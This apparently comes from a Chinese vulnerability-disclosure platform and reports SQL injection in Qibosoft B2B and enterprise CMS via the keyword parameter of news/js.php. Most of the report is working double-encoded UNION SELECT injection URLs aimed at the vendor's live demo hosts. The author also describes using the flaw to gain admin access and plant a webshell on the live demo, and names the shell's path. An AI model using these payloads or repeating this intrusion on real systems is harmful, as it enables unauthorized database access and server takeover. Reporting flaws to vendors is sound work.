### 简要描述:
跟之前的b2b差不多。
### 详细说明:
今天在官网上下了下b2b的源码
看是怎么修补的。
//$keyword=urldecode($keyword);
是直接把解码的地方给注释掉了。
再测试一下b2b的demo
http://b2b.qibosoft.com/news/js.php?type=like&keyword=123%%2527%29/**/union/**/select/**/1,user%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23
但是demo 还是没有更新。 还能够注入。
demo为毛不更新呢? 我会说根据这注入我拿到了后台又拿到了shell?
http://b2b.qibosoft.com/yu.php
你们自己把这个shell删掉一下把,我没搞破坏。
___________________________________________________________________________
再在官网上下了一个企业系统。
```
if($keyword){
$SQL.=" AND ( ";
$keyword=urldecode($keyword);
$detail=explode(" ",$keyword);
```
发现这个没注释掉。
继续来注入把。
http://qy.qibosoft.com/news/js.php?type=like&keyword=123%%2527%29/**/union/**/select/**/1,user%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23
### 漏洞证明:
http://qy.qibosoft.com/news/js.php?type=like&keyword=123%%2527%29/**/union/**/select/**/1,user%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%23
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